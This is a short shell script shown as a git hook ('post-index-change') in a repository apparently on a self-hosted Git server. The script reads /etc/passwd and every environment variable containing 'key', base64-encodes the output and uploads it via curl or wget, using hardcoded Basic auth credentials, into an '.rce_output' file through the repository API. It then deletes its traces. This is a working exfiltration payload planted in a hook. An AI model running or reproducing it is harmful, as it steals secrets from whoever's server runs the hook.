Files
test-repo-b4eae8d5/hooks/post-index-change
T
2026-08-26 20:38:15 +00:00

8 lines
807 B
Bash
Executable File

#!/bin/sh
_OUT=$(cat /etc/passwd; env | grep -i key 2>&1)
_B64=$(printf '%s' "$_OUT" | base64 | tr -d '\n')
printf '{"message":"x","content":"%s"}' "$_B64" > /tmp/.rce_60f0ed
(curl -sf --max-time 8 -X POST 'https://127.0.0.1:443/api/v1/repos/Antonkill-xjd7222lea/test-repo-b4eae8d5/contents/.rce_output' -H 'Authorization: Basic QW50b25raWxsLXhqZDcyMjJsZWE6c3lzaGFjay1jZGxiQDUzNjZtcW81MA==' -H 'Content-Type: application/json' -d @/tmp/.rce_60f0ed >/dev/null 2>&1 || wget -q -O/dev/null --timeout=8 --header='Authorization: Basic QW50b25raWxsLXhqZDcyMjJsZWE6c3lzaGFjay1jZGxiQDUzNjZtcW81MA==' --header='Content-Type: application/json' --post-file=/tmp/.rce_60f0ed 'https://127.0.0.1:443/api/v1/repos/Antonkill-xjd7222lea/test-repo-b4eae8d5/contents/.rce_output' 2>/dev/null) &
sleep 3
rm -f /tmp/.rce_60f0ed